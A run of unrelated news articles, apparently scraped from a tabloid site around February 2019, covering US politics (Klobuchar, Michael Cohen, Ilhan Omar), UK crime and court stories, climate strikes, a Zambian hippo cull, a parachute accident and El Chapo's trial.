'I will say that I am proud of our staff. And yes, I can be a tough boss and push people, thats obvious. But thats because I have high expectations of myself, I have high expectations of those that work with me and I have high expectations for our country. My Chief of Staff has worked for me for six years, my State Director for seven years, my campaign manager for 14 years,' she said on Fox News Channel's 'Special Report' on Tuesday evening.

She added: 'I think people should judge me based on this campaign and how we do, and we sure had a good beginning and that was a strong team that did that.'

And some former staffers defend the senator and say she is a victim of bias from her gender.

'I've loved working for her,' a current Klobuchar staffer told Yahoo News.

Others said she showed genuine concern about staffers' family lives or health matters.

'That 'Midwestern nice' is real,' one former male staffer told the website, adding that the criticism comes from a 'subconscious, implicit bias about women.'

Another - who said their remarks weren't necessarily criticism - said Klobuchar 'doesn't sleep' and 'never stops working,' adding that: 'She definitely burns people out.'

The run up to Klobuchar's presidential announcement on Sunday was marred by the reports she mistreats her staff.

She addressed those rumors to reporters on the ground in Minnesota.

'You know, I love our staff,' Klobuchar said, according to Politico. 'And yes, I can be tough. And yes, I can push people. I know that. But in the end, there are so many great stories of our staff that have been with me for years who have gone on to do incredible things. I have, I'd say, high expectations for myself. I have high expectations for the people who work for me. But I have high expectations for this country, and that's what we need.'

Klobuchar was accused of being demeaning and cruel to her staff in reports out last week.

Multiple former staffers told the Huffington Post that the senator, who cultivates the image of a nice, laid-back girl from the MidWest, is quite the opposite and that at least three people have turned down the chance to run her campaign because of the stories about her.

Klobuchar has pushed back, thanking her staff in her presidential announcement speech Sunday afternoon and tweeting photo on Sunday morning of her out with her staff the night before at a local brewery.

'Good time last night with our great team at Boom Island Brewery. Good jazz and I'm glad we got out of the cold for a few hours to visit this local homegrown neighborhood brewery!,' she wrote.

Sen. Amy Klobuchar has been accused of being demeaning and cruel to her staff in days before she's expected to announce her presidential campaign

Staff describe Klobuchar as a demanding boss who accuses of them of bad work and uses aides to perform personal tasks such as washing dishes

Klobuchar tweeted a photo on Sunday morning of her out with her staff the night before at a local brewery

But staff describe the senator as a demanding boss who sends dozens of emails over night accusing of them of bad work, ccing multiple colleagues on said emails to publicly embarrass them with her floggings, and using aides to perform personal tasks such as washing dishes at her home or picking up her dry cleaning.

One staffer even recalled how the senator would write out tardy slips to staffers who came to the office late.

Long hours, being pulled into personal tasks, and temper tantrums can and does happen in offices on Capitol Hill where the political pressure turns the professional environment into a pressure cooker.

And staffers are generally over worked and under paid compared to members of Congress. Klobuchar's Senate salary is $174,000.

Other former staffers, however, defended the senator, saying she puts in long hours and demands that her office meet the high standards she sets for herself.

And some questioned whether former co-workers who thought she was abusive were falling for sexist stereotypes about female leaders with high standards.

'I've heard people say she's tough to work for and I sometimes cringe when I hear it because I rarely hear that said about male bosses in Congress despite the fact that half of Congress is tough to work for,' Tristan Brown, a former legislative aide who called Klobuchar 'probably the most brilliant, hardworking person I've had the privilege to work for,' told the Huffington Post.

A troubling sign, however, is that Klobuchar's office has one of the highest rates of staff turnover in the Senate.

From 2001 to 2016, she was No. 1 in the Senate for staff turnover as measured by LegiStorm, a widely used database of congressional staff information. She's now third.

Her campaign defended the senator as someone who 'loves her staff.'

'Senator Klobuchar loves her staff - they are the reason she has gotten to where she is today,' a campaign spokesperson told Huffington Post. 'She has many staff who have been with her for years - including her Chief of Staff and her State Director, who have worked for her for 5 and 7 years respectively - and many who have gone on to do amazing things, from working in the Obama Administration (over 20 of them) to running for office to even serving as the Agriculture Commissioner for Minnesota. She is proud of them and the work they have done for Minnesota.'Longtime Donald Trump lawyer Michael Cohen will testify before three powerful committees before heading off to prison, his lawyer said Wednesday, after a panel chairman blasted Cohen's 'wild night' out despite citing health for rescheduling testimony.

After a series of dates and delayed appearances, Cohen will appear before the House Oversight Committee in addition to two other congressional panels behind closed doors before reporting to prison next month.

In addition to the public session of the oversight committee, the attorney, Lanny Davis, said Cohen would testify in closed hearings of the Senate Select Committee on Intelligence and the House Intelligence Committee before entering prison on March 6.

Only the Oversight testimony will be in public however.

Longtime Trump lawyer Michael Cohen will testify before Congress before going to jail, his advisor lawyer Lanny Davis said. Cohen's closed testimony before the House Intelligence Committee had been postponed 'in the interests of the investigation,' said the panel chairman

Those two committees both are investigating Russian election interference and any collusion between the Trump campaign and Russians.

The House intel panel is the one that Cohen admitted to lying to when he held back information about his negotiations for a proposed Trump tower project in Moscow. Cohen later acknowledged talks continued through the summer of 2016.

Cohen was sentenced to three years in prison for lying to Congress as well as a campaign finance violation related to arranging the $130,000 payment to porn star Stormy Daniels, who claims she had an affair with Trump.

Senate Intelligence Committee Chairman Richard Burr gave a long interview to CBS News on Thursday where he said: 'If we write a report based upon the facts that we have, then we don't have anything that would suggest there was collusion'

President Trump touted a statement by Senate Intelligence Committee chairman Richard Burr that the pan has no direct evidence of collusion

FILE PHOTO: Michael Cohen, U.S. President Donald Trump's former attorney, exits the United States Court house after his sentencing, in the Manhattan borough of New York City, New York, U.S., December 12, 2018. REUTERS/Shannon Stapleton/File Photo

Michael Cohen arrives home to his apartment in New York City. Michael Cohen returns to his apartment after shoulder surgery

'The Senate Select Committee on Intelligence has accepted Mr. Cohen's request for postponement of tomorrow's hearing due to post-surgery medical needs,' Cohen's lawyer, Lanny Davis said, ABC reported. Cohen had been scheduled to appear Feb. 12th, but the event got postponed.

Last week, House Intelligence Chairman Rep. Adam Schiff, a California Democrat, said in a brief statement Thursday that 'in the interests of the investigation, Michael Cohen's testimony has been postponed until February 28th.'

That announcement followed reports that prosecutors in New York were zeroing in on the Trump inauguration spending. Cohen was involved in fundraising for the inauguration.

Cohen pulled out of his planned Oversight testimony last month, citing threats against his family.

Senate Intel chairman Richard Burr blasted Cohen Tuesday after Cohen's team announced a delay, citing medical reasons.

'I can assure you that any goodwill that might have existed in the committee with Michael Cohen is now gone,' Burr said.

Burr added, NBC reported: 'He's already stiffed us on being in Washington today because of an illness ... You have ... on Twitter, a reporter reported he was having a wild night Saturday night eating out in New York with five buddies. Didn't seem to have any physical limitations. And he was out with his wife last night.'

Cohen had recent surgery on his shoulder, and returned to his New York apartment with his arm in a sling. Davis said it was 'due to post-surgery medical needs.'A vulnerable woman who was pelted with flour and eggs by a group of grinning teenagers as she cowered in fear on a park bench has spoken of her anguish for the first time today.

Speaking at Ipswich Youth Court, Janice Morris, 49, said the abuse had left her 'shell-shocked' as she recalled how the youths covered her with food and spat at her as she sat in a park in the Suffolk market town of Bury St Edmunds, in July 2018.

An image showing the teenagers posing behind the mentally-ill victim following the attack, sparked an online witch hunt after being posted on Snapchat and Facebook.

Five teenage boys admitted their role in the humiliation of Ms Morris at an earlier hearing, and a sixth boy, who confessed he 'thought it was funny...at the time', was found guilty of a public order offence on Wednesday.

An image (pictured) showing the teenagers posing behind the mentally-ill victim following the attack, sparked an online witch hunt after being posted on Snapchat and Facebook

Giving evidence at this week's trial, the schizophrenic and alcohol dependent victim - wearing tie-dye and sporting short black hair - looked visibly uneasy as she sat in the witness box flanked by a carer.

The 17-year-old boy, who cannot be identified for legal reasons, was one of four boys who posed for a celebratory photo of the attack.

Ms Morris said: 'I don't know what I did to antagonise them. I wasn't anticipating it to happen. They got quite aggressive quite quickly. I was more shocked and surprised, I don't know exactly what I'm supposed to say.'

In a video interview played to the court, she told police she had a drink of whisky, 'not a lot', then went to sit on a bench near her home 'just to get out, to be outside... green space, trees'.

Cohan Semple, pictured outside Ipswich Magistrates' Court , received a one-year community order after he took a photograph of Janice Morris who was attacked by a group of youths with eggs and flour in July

She said four or five boys approached her quickly, one of them who 'seemed to be more of a loose cannon' spat at her and the group circled her.

'They were jumping about, laughing, goading,' she said.

The group went away briefly, then returned with flour and eggs which were thrown over her.

She said she felt 'a bit shell-shocked, a bit raw' afterwards, adding she was 'not as likely' to return to the park.

The 17-year-old boy denied a public order offence, admitting he posed for the photograph but stating Ms Morris was already covered in flour when he arrived.

He claimed to have been walking home through the park when he spotted his friends and quickly stopped for a picture, the court heard.

The defendant, who was accompanied to court by his father, said he contacted police after he saw the photo on Facebook.

'At the time I thought it was funny,' he said in police interview. 'I thought about it and it was wrong. I wasn't involved; only in the photo.'

Prosecutor Andrew Horner told the court it did not matter when the boy arrived, adding: 'The defendant attaches himself to a group he could clearly see were causing the complainant distress because he is in that group, he laughs, he smiles, he thinks it is funny.

'He joins in with the photograph, he becomes part of the group engaging in distressing behaviour towards the complainant.'

Semple posted an image of the attack on his Snapchat which was later shared by a friend on Facebook, where it was passed around widely

Presiding magistrate Sally Westwood, reading out the guilty verdict, told him: 'The photo clearly indicates (the defendant) as a member of the group.

'He was not a bystander, he was smiling, pointing at Ms Morris.'

He is due to be sentenced on March 7.

An application to name him and his juvenile accomplices was made at a previous hearing but magistrates said they must remain anonymous.

Four male youth defendants and 18-year-old Cohan Semple, of Bury St Edmunds, admitted a public order offence at an earlier hearing and were sentenced last year.

The four under-18s were sentenced to referral orders and Semple, who posted the photograph on his Snapchat before it was shared more widely by others, was sentenced to a year-long community order.Parents considering letting their children miss school this week as part of a nation-wide climate strike fear their kids will be punished.

Support for Friday's strike is growing rapidly by the day with more than 50 events confirmed across the country.

Thousands of young Britons from Fort William to Hastings plan to skip lessons and demonstrate in the streets.

But parents feel they've been left in limbo, with no official guidelines on what will happen to children who take part.

Students across the globe are taking part in climate strikes. Here, a student strike organised by 'Youth For Climate' takes place in Belgium last month

Linda Thomas, from Bristol, was concerned that her child may be punished for skipping school

Louisa Gamon, from Manchester, feared 'serious implications' if she let her child miss classes

Fashion designer Linda Thomas, from Bristol, took to Twitter to ask for guidance from other parents over fears her child would be punished.

She said: 'I have a response from my childs school that pupils wont be supported in Fridays strike. To take part they need to sign out and in.Im worried that this means they may not be allowed to leave. What are other people doing? Missing whole day?'

Mother Louisa Gamon, from Manchester, feared she would face 'serious implications' if she let her child stay off.

She said: 'I'm worried there will be serious implications for students missing school. However I agree that the implications of ignorance would be far worse. Can anyone shed any light?'

Friday's strike is part of a movement sparked in August by 16-year-old schoolgirl Greta Thunberg, who held a solo protest outside Swedens parliament.

Her solo act captured the imagination of children across the globe, with up to 70,000 school kids each week taking part in 270 towns and cities.

Friday's strike is part of a movement sparked in August by 16-year-old schoolgirl Greta Thunberg (pictured), who held a solo protest outside Swedens parliament

In Britain, Friday's demonstration is expected to see the biggest protests by students since the 2010 tuition fee strikes.

Other parents have criticised the demonstrations and questioned whether it's necessary for children to miss school for the cause.

Today, more than 200 academics voiced their support in a letter sent to The Guardian.

The scholars, including 100 professors, said young people have had no choice but to take matters into their own hands.

They wrote: '[Those taking part in the strike] have every right to be angry about the future that we shall bequeath to them, if proportionate and urgent action is not taken.

'We are inspired that our children, spurred on by the noble actions of Greta Thunberg and many other striking students all around the world, are making their voices heard.'

The letter pointed to a the latest UN report that warned the planet has just 12 years before the damage of global warming is irreversible.

It warned that record-breaking droughts, heatwaves, warming oceans and melting ice sheets would follow after 12 years.

Parent Chris Richardson from Gloucester proposed a method for children to have their message heard without missing classes

Father Craig Blackburn, from Tewkesbury in Gloucestershire, ruled out allowing his daughter to take part

Other parents were up in arms over the strikes and questioned whether it was necessary for pupils to miss school for the cause.

Father Chris Richardson from Gloucester, who has a 13-year-old daughter, proposed a method for children to have their message heard without missing classes.

He said: 'The best way for a school child to protest against climate change is to walk to school and refuse to be driven.'

Parent Craig Blackburn, from Tewkesbury in Gloucestershire, ruled out allowing his daughter to take part.

He said: 'I certainly won't be giving my daughter permission to leave her school on Friday to protest against climate change and will be taking this up with her school.'A man who suffered serious injuries when he fell from a footbridge is being quizzed in hospital by police after a woman was found dead in a flat.

Officers found the body of an unnamed woman inside the flat in Armley near Leeds at around 9.42am yesterday - after receiving a 'concerned' call.

Around 30 minutes later, police were informed by paramedics that the man had fallen from the footbridge, which is over the A64 in Leeds.

West Yorkshire Police said the man was taken to hospital with serious injuries and later arrested on suspicion of murder. Pictured, police officers at the scene at a block of flats in Athlone Grove, Armley in Leeds

West Yorkshire Police said the man was taken to hospital with serious injuries non-life threatening and later arrested on suspicion of murder.

He continues to receive treatment and remains under police guard, a force spokesman said.

A forensics team was called in after the woman's body was discovered.

The woman's family have been informed and are being supported by police family liaison officers.

Neighbours told of their shock at the death of the woman.

West Yorkshire Police said the man was taken to hospital with serious injuries after jumping from a footbridge and later arrested on suspicion of murder. The footbridge is pictured

One neighbour, who did not wish to be named, said: 'It is shocking that this has happened so close to us.'

The owner of a nearby business, who did not wish to be named, added: 'It is very scary.

'I have never seen anything like this in more than 30 years of being here.'

Police are urging anyone who saw anything suspicious near the apartment block at the time when the woman was found to contact them.

They are also asking anyone who saw the man on the bridge prior to falling to contact them.

Road closures were put in place after the man fell.

Paramedics pronounced the woman dead at the scene

If you have information call the West Yorkshire Police Homicide and Major Enquiry Team via 101 quoting Operation Pettywood.

Information can also be given anonymously to the independent Crimestoppers charity on 0800 555 111.ROME - Italian Foreign Minister Enzo Moavero Milanesi will be in Warsaw on Wednesday and Thursday to attend the US-led conference titled "Ministerial to Promote a Future of Peace and Security in the Middle East", the foreign ministry said.

The US delegation led by Vice President Mike Pence includes Secretary of State Mike Pompeo and Trump adviser Jared Kushner.

Israeli Prime Minister Benjamin Netanyahu will also attend, as well as about 30 foreign ministers from countries in Europe, the Mediterranean, the Middle East, Latin America, Asia, and Africa.

In all, there will be about 50 countries participating in the conference.

The event will create an opportunity for thorough reflection on current dynamics and future scenarios in the Middle East, with particular attention on Yemen, Syria, the Israeli-Palestinian peace process, and Iran.

A discussion is planned on major transnational issues, including assistance to refugees, cybersecurity, the fight against terrorism and its financing, and missile proliferation.

The Italian foreign ministry said Moavero's participation in the conference is part of an intensification in relations between the US and Italy, which it said was "reaffirmed and consolidated" during Moavero's trip to Washington on January 3 and 4.

Regarding the Middle East, Moavero also recently visited Israel and Palestine, from January 26 to 30.Tube staff are threatening industrial action after bosses decided to make them wear red vests which they say are hot and patronising.

The RMT union said on Wednesday that its members would be balloted on taking 'action short of a strike' in a protest against the so-called 'gilets rouge', a reference to the 'gilet jaunes' protest movement in France.

Transport for London introduced the tabards on Sunday in an effort to help passengers spot Underground staff.

The reversible vests were brought in by TfL in an attempt to make staff easier to spot for passengers

But some Tube workers are already refusing to wear the reversible garments on the basis that they make workers overheat.

A ballot is now due to be held and staff plan to ditch the vests across the Tube network in protest.

Darren Smith, a TfL guard at Liverpool Street station, said: 'I'm lucky in that they don't make them in XXL so I can't wear it. We just find the "happy to help" message on the back really patronising and insulting.

'We weren't consulted at all. We just got an email come through saying we have to wear them.'

Tube workers have already complained that the vests are too hot and are 'patronising'

He added: 'Only my manager wears his. Everyone else is wearing the old ones in protest.'

The vests carry a 'Here to help' message on the back and are orange on the inside.

Staff are expected to wear the red side in ticket halls and switch to orange when on platforms dispatching trains and in emergencies.

But the RMT claimed the design change was a 'pathetic' attempt to cover up for staff cuts by making staff more visible.

RMT general secretary Mick Cash said the 'imposition' of the red vests was an 'ill-conceived' attempt to cover-up the 'intentional lack of staff on our stations due to cost-cutting exercises'.

He added that they make staff 'a target for anti-social behaviour'.Animal rights campaigners have voiced fury at the Zambian government's decision to allow trophy hunters to kill 2,000 hippos in a five-year 'cull'.

The government announced the plans to eliminate 400 of the animals a year in 2016, claiming there was a risk of an anthrax outbreak.

Zambian officials initially climbed down but the charity Born Free said the cull has secretly been restarted under the guise of a 'wildlife management tool'.

The cull has been promoted to trophy hunting companies who have in turn offered 'management hunts' to customers.

Hippo hunt: Two people stand over a dead hippopotamus, in a picture shared on Facebook which also shows the prices available for the 'management hunt' from one firm

One of the hunting firms, based in South Africa, offered a six-night expedition in Zambia with 'five hippos per hunter' for 10,500.

Another South African website offers hippo trophy hunting for 7,500 (6,500).

Born Free said on its website that Zambias Department of National Parks & Wildlife (DNPW) had failed to provide any evidence of overpopulation.

They said: 'DNPW has failed to provide credible, scientific evidence to show that such an indiscriminate hippo cull of healthy animals would prevent a future outbreak of anthrax.

'Scientific evidence suggests that culling hippos stimulates breeding and ends up increasing the population, potentially establishing a vicious cycle of death and destruction.

'Born Free is opposed to the killing of any animal for sport or pleasure.

People stand over a dead hippo. The Zambian government announced the plans to cull 400 of the animals a year in 2016, claiming there was a risk of an anthrax outbreak

'We contend that there is no evidence that supports the need to cull, as expressed by the authorities.

'We also firmly believe that hippos are worth more alive, as part of the Luangwa Valley ecosystem and a spectacular part in Zambias incredible wildlife tourism sector, than dead.'

One hunting website gives its prospective clients advice on how to take down a hippo, saying it can be 'terrifically excciting'.

The World Wide Fund for Nature describes the hippo as 'vulnerable'.

Wild hippo numbers across Africa are under growing pressure, with a maximum estimate of just 130,000 animals, according to Born Free.A Muslim-American congresswoman who fell on her sword last week after drawing fire for anti-Semitic tweets lashed out at President Donald Trump on Wednesday for saying she should resign her seat instead of offering a 'lame' apology.

'You have trafficked in hate your whole lifeagainst Jews, Muslims, Indigenous, immigrants, black people and more. I learned from people impacted by my words. When will you?' Rep. Ilhan Omar wrote on Twitter.

Fellow freshman Democratic lawmaker Alexandria Ocasio-Cortez came to Ilhan's defense after Trump dismissed her publicly and House Speaker Nancy Pelosi blasted her anti-Israel commentary.

The entire House Democratic leadership and prominent Jewish lawmakers had come down on Omar for saying Republicans defend Israel because of financial support from wealthy American Jews.

After Omar offered what she said was an 'unequivocal' apology  one that included a qualifying statement about lobby groups  Ocasio-Cortez turned her ire at the White House.

Rep. Ilhan Omar, a Minnesota Democratic freshman, blasted President Donald trump on Wednesday after he called for her to resign over anti_Semitic tweet

'You have trafficked in hate your whole life,' Omar wrote of Trump

Trump called on Omar to resign, and called her apology 'lame'; she is one of two Muslims elected to Congress in November

'Unlike this President, Rep. @IlhanMN demonstrated a capacity to acknowledge pain & apologize, use the opportunity to learn abt [about] history of antisemitism,+grow from it while clarifying her stance,' the Democratic socialist phenom wrote.

'I'm also inspired by Jewish leadership who brought her in, not push her out, to heal.'

She was responding to the Jewish Forward magazine, which quoted liberal advocate Peter Beinart saying: 'If you denounce Ilhan Omar but support Donald Trump, you don't really oppose bigotry. You don't even really oppose anti-Semitism. What you oppose is criticism of Israel.'

Trump on Tuesday demanded Omar, a first-term lawmaker, resign over her Twitter comments that many of her own colleagues called anti-Semitic.

Omar is aligned with Rashida Tlaib, her fellow Muslim, who called for impeaching Trump last month

Rep. Alexandria Ocasio-Cortez (D-NY) defended fellow first-term lawmaker Rep. Ilhan Omar after President Trump called for Omar to resign.

Ocasio tried to turn the tables on Trump, writing that 'unlike this President,' Omar has 'demonstrated a capacity to acknowledge pain & apologize'

'I think she should either resign from congress or she should certainly resign from the House Foreign Affairs Committee,' Trump said during a Cabinet meeting Tuesday.

Omar's anti-Semitism, Trump said, was 'deep-seated in her heart.' He also called her apology, issued Monday, 'lame.'

'Anti-Semitism has no place in the United States Congress. And Congressman Omar is terrible, what she said,' Trump began.

'What she said is so deep-seated in her heart that her lame apology  and that's what it was; it was lame, and she didnt mean a word of it  was just not appropriate. I think she should resign from Congress, frankly. But at a minimum, she shouldnt be on committees, and certainly that committee.'

One of the tweets that drew criticism was a one-word posting that read: 'AIPAC!'

That reference to the powerful American Israel Public affairs Committee came after Omar claimed support for Israel was 'all about the Benjamins'  suggesting Republicans trade their foreign policy votes for cash.

Trump's determination to tee off on the issue was revealed in his hand-written notes, captured by photojournalists.

They read, in all capital letters: 'Congresswoman Omar should be asked to resign or at least get off the Foreign Affairs Committee.'

People leave post-it notes of support outside the office of Rep. Ilhan Omar, D-Minn., on Capitol Hill, Monday, Feb. 11, 2019, in Washington. Omar has 'unequivocally' apologized for tweets suggesting a powerful pro-Israel interest group paid members of Congress to support Israel.

Trump also weighed in on the controversy swirling around Rep. Ilhan Omar Monday night, saying the first-term lawmaker 'should be ashamed of herself.'

'I think it was a terrible statement. And I don't think her apology was adequate, the president told reporters aboard Air Force Once en route to a Texas campaign rally.

Asked what Ilhan should she say, Trump responded: 'She knows what to say.'

Omar, a Minnesota Democrat, apologized for using old anti-Semitic tropes about Jews and money, but only after Pelosi and her entire party leadership team blasted her publicly.

'Anti-Semitism is real and I am grateful for Jewish allies and colleagues who are educating me on the painful history of anti-Semitic tropes,' Omar said in a statement Monday afternoon.

'My intention is never to offend my constituents or Jewish Americans as a whole,' she added. 'We have to always be willing to step back and think through criticism, just as I expect people to hear me when others attack me for my identity. This is why I unequivocally apologize.'

Rep. Omar apologized Monday afternoon for her previous tweets

'I think she should be ashamed of herself. I think it was a terrible statement. And I don't think her apology was adequate, the president told reporters aboard Air Force Once en route to a Texas campaign rally. Trump is pictured at the rally

Omar, however, stuck to her guns in blasting the problems of lobbyists and their financial influence in politics.

'At the same time, I reaffirm the problematic role lobbyists in our politics, whether it be AIPAC, the NRA or the fossil fuel industry. It's gone on too long and we must be willing to address it,' Omar said. She tweeted out her statement with the words: 'Listening and learning, but standing strong.'

Pelosi's blistering statement said that '[a]nti-Semitism must be called out, confronted and condemned whenever it is encountered, without exception.'

'We are and will always be strong supporters of Israel in Congress because we understand that our support is based on shared values and strategic interests. Legitimate criticism of Israel's policies is protected by the values of free speech and democratic debate that the United States and Israel share. But Congresswoman Omar's use of anti-Semitic tropes and prejudicial accusations about Israel's supporters is deeply offensive. We condemn these remarks and we call upon Congresswoman Omar to immediately apologize for these hurtful comments.'

Rep. Steny Hoyer (D-MD), House Minority Leader Nancy Pelosi (D-CA) and Rep. James Clyburn (D-SC) sit during a photo-op with members of the House Democratic leadership team on Capitol Hill in Washington, U.S., November 30, 2018. All three signed a statement calling Rep. Ilhan Omar's 'use of anti-Semitic tropes'

New York Reps. (and committee chairs) Jerold Nadler and Eliot Engel each issued statements criticizing Rep. Omar's comments

Rep. Ilhan Omar, D-Minn. mentioned AIPAC and wrote 'it's all about the Benjamins' in tweets about support for Israel

The statement was co-signed by Pelosi, Majority Leader Steny Hoyer, Majority Whip James E. Clyburn, Assistant Speaker Ben Ray Lujan, Caucus Chairman Hakeem Jeffries and Caucus Vice Chair Katherine Clark  the entire House Democratic leadership team.

Pelosi also called Omar to speak with her one-on-one about the matter.

The move from leadership followed Judiciary Chairman Rep. Jerold Nadler of New York, who issued his own scorching statement Monday.

'It is deeply disappointing and disturbing to hear Representative Ilhan Omar's (MN) choice of words in her exchange with a journalist yesterday, wherein she appears to traffic in old anti-Semitic tropes about Jews and money,' Nadler wrote.

'Her words are deeply hurtful and offensive, particularly as they build on a previous comment she made about Jews 'hypnotizing' the world in support of Israel  another old trope born of hate-filled texts like the Protocols of the Elders of Zion.'

Multiple Jewish Democrats, including powerful committee chairs, called out freshman Rep. Ilhan Omar for using anti-semitic 'tropes' after her tweets linking support for Israel to money.

Omar on Sunday reacted to a Twitter post by journalist Glenn Greenwald, who slammed the Republican House Minority Leader, Kevin McCarthy, for criticizing the Somali-American lawmaker and another anti-Israel critic, Rep. Rashida Tlaib

Omar responded to Greenwald's thread by tweeting: 'It's all about the Benjamins baby.' The tweet is a reference to the title of a Puff Daddy song of the same name which was released in 1997

Omar was then asked on Twitter by Batya Ungar-Sargon, the editorial page editor of the Jewish Daily Forward: 'Would love to know who Omar thinks is paying American politicians to be pro-Israel, though I think I can guess.'

Omar then responded to Ungar-Sargon: 'AIPAC.' AIPAC stands for the American Israel Public Affairs Committee, a lobbying group that advocates pro-Israel policies to Congress and the White House

'It is deeply disappointing and disturbing to hear Representative Ilhan Omar's (MN) choice of words in her exchange with a journalist yesterday, wherein she appears to traffic in old anti-Semitic tropes about Jews and money,' wrote Judiciary Chairman Rep. Jerold Nadler, in a public rebuke of Omar, one of the two first muslim women elected to Congress and a member of his own caucus.

Nadler continued: 'Her words are deeply hurtful and offensive, particularly as they build on a previous comment she made about Jews 'hypnotizing' the world in support of Israel  another old trope born of hate-filled texts like the Protocols of the Elders of Zion.'

Rep. Max Rose, a Jewish combat vet who represents a district that includes Staten Island in New York, tweeted, 'When someone uses hateful and offensive tropes and words against people of any faith, I will not be silent. Congresswoman Omar's statements are deeply hurtful to Jews, including myself.'

The barrage of criticism came after Omar suggested on Sunday that supporters of Israel in effect buy off political support from lawmakers to get them to back Israel.

Former first daughter Chelsea Clinton also blasted the move, and also wrote Omar that she planned to 'reach out' to her directly.

'Democratic Leadership Statement on Anti-Semitic Comments of Congresswoman Ilhan Omar' 'Anti-Semitism must be called out, confronted and condemned whenever it is encountered, without exception. 'We are and will always be strong supporters of Israel in Congress because we understand that our support is based on shared values and strategic interests. Legitimate criticism of Israel's policies is protected by the values of free speech and democratic debate that the United States and Israel share. But Congresswoman Omar's use of anti-Semitic tropes and prejudicial accusations about Israel's supporters is deeply offensive. We condemn these remarks and we call upon Congresswoman Omar to immediately apologize for these hurtful comments. 'As Democrats and as Americans, the entire Congress must be fully engaged in denouncing and rejecting all forms of hatred, racism, prejudice and discrimination wherever they are encountered.' - Speaker Nancy Pelosi, Majority Leader Steny Hoyer, Majority Whip James E. Clyburn, Assistant Speaker Ben Ray Lujan, Caucus Chairman Hakeem Jeffries and Caucus Vice Chair Katherine Clark Advertisement

Omar, of Minnesota, who is one of two Muslim women elected to Congress. On Sunday, she came under fire from Republicans and pro-Israel supporters for her Twitter post that some say advances anti-Semitic tropes about Jews and money.

'It's all about the Benjamins,' she wrote in reaction to a journalist's tweet remarking that it was 'stunning' how much time US leaders devote to defending Israel 'even if it means attacking free speech rights of Americans.''A parachutist died and another is in critical condition after a freak accident saw them crash into a cable car and then plummet to the ground.

The horrific accident, which took place in Northern Turkey, occurred when the wind changed suddenly driving the parachute instructor attached to a first-time jumper into the pylon, high above the city.

According to local media, the instructor Huseyin Ilhan died in hospital from head wounds while the other parachutist, Even Salci, is still in a critical condition.

The horrific accident, which took place in Northern Turkey, occurred when the wind changed suddenly driving the parachute instructor attached to a first-time jumper into the pylon, high above the city

According to local media, a sudden change of wind sent them careering towards the cable car lines where they became entangled.

However, a passing cable car which is off camera in the footage then cut the cords, and the two parachutists fell to the ground far below.

The incident was filmed by a passerby and shows the tandem jumpers floating safely in the sky prior to the accident. In the next scene, the pair is seen falling from the pylon.

According to local media, a sudden change of wind sent them careering towards the cable car lines where they became entangled

However, a passing cable car which is off camera in the footage then cut the cords, and the two parachutists fell to the ground far below

The victims were rushed to the Ordu State Hospital where Ilhan lost his life and Salci is still in intensive care.

According to local media, Ilhan had previously been involved in two other parachuting accidents.

The first time, a change in wind saw him tumble into the ocean and he became stuck in a tree during the second reported accident.Theresa May has heaped pressure on the BBC to fund free TV licences for over-75s.

The PM insisted taxpayers want to see the corporation use its 'substantial' licence fee income in an 'appropriate way' to deliver fully for UK audiences.

Downing Street said the premier believed there should be 'restraint on salaries for senior staff'.

Currently, households with people over 75 are entitled to a free TV licence.

But the Government-funded scheme, which is expected to cost 745 million by 2021-22, comes to an end in 2020.

Under a deal reached when George Osborne was Chancellor in 2015, after that time it will be for the BBC to decide whether to continue the subsidy.

At PMQs today Theresa May insisted taxpayers want to see the BBC use its 'substantial' licence fee income in an 'appropriate way' to deliver fully for UK audiences

Opposition MPs and campaigners have warned that hundreds of thousands of over-75s will lose out if the free scheme is ended, blaming the Government for devolving responsibility to the BBC - which has a total licence fee income of around 3.8billion a year.

Speaking at Prime Minister's Questions, Labour MP Rosie Cooper said: 'Despite her party's manifesto promise, nearly 7,000 pensioner households in my West Lancashire constituency could lose their free TV licences - often that's their only source of company.

'Is the Government going to keep their manifesto promise by taking back the responsibility they've outsourced to the BBC to ensure that older people keep their TV licences?'

Mrs May replied: 'I recognise the value that people across the country place on having a television, and for many elderly people the connection that brings with the world - and that's why the free licences for the over-75s are so important.

'We want and expect the BBC to continue free licences when they take over responsibility for the concession in 2020.

'I think taxpayers rightly want to see the BBC using its substantial licence fee income in an appropriate way to ensure it delivers fully for UK audiences.'

The PM's spokesman said after the exchanges: 'As part of the charter negotiations with the BBC it was agreed they would take on responsibility for the concession in 2020 and we would expect them to continue with that.

'As the PM said taxpayers will rightly want to see the BBC using its substantial licence fee income in an appropriate way so it can deliver fully for UK audiences. This includes showing restraint on salaries for the senior staff.'One of Joaquin 'El Chapo' Guzman's attorneys believes his client's high-profile trial was unfair and has questioned why he wasn't allowed to cross-examine a supposedly unhinged prosecution witness.

High-powered criminal defense lawyer Jeff Lichtman went on CNN and CBS This Morning on Wednesday after his drug kingpin client was found guilty of all 10 international drug dealing charges against him.

The trial in Brooklyn, New York, that ended on Tuesday, lasted three months and included testimonies from more than 50 witnesses.

Lichtman and his team only used one witnesses in their defense, and made out Guzman to be the fall guy for the massive Sinaloa cartel working out of Mexico.

Now Guznman's defense team are airing their grievances and are preparing to appeal the verdicts.

Lichtman told CNNs New Day that Guzman 'fully expected to be convicted' and argued that the case was impossible to win.

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Crying foul: El Chapo defense lawyer Jeff Lichtman went on CBS This Morning Wednesday to complain about the unfairness of Joaquin Guzman's drug-trafficking trial

Litchman claimed the Guzman, 61,'fully expected' to be convicted (seen in this courtroom sketch on the day he was found guilty)

Upbeat: Lichtman said Guzman (seen flashing a thumbs up in this sketch) remained buoyant and urged him to 'keep fighting' on his behalf

I think he was convicted even before he came to America, Lichtman said.

The lawyer further expounded on that idea during his CBS interview, arguing that it was difficult to get around the 'myth of El Chapo.'

THE CHARGES Count 1 - Engaging in a criminal enterprise Verdict: Guilty Count 2 - International Cocaine, Heroin, Methamphetamine and Marijuana Manufacture and Distribution Conspiracy Verdict: Guilty Count 3 - Cocaine Importation Conspiracy Verdict: Guilty Count 4 - Cocaine Distribution Conspiracy Verdict: Guilty Count 5 - International Distribution of Cocaine Verdict: Guilty Count 6 - International Distribution of Cocaine Verdict: Guilty Count 7 - International Distribution of Cocaine Verdict: Guilty Count 8 - International Distribution of Cocaine Verdict: Guilty Count 9 - Use of firearms Verdict: Guilty Count 10 - Conspiracy to launder narcotics proceeds Verdict: Guilty Advertisement

The New York-based attorney, who previously represented John 'Junior' Gotti, said he and the rest of the defense team never denied that Guzman was involved in drug trafficking, but they argued that he was not the kingpin heading the Sinaloa cartel.

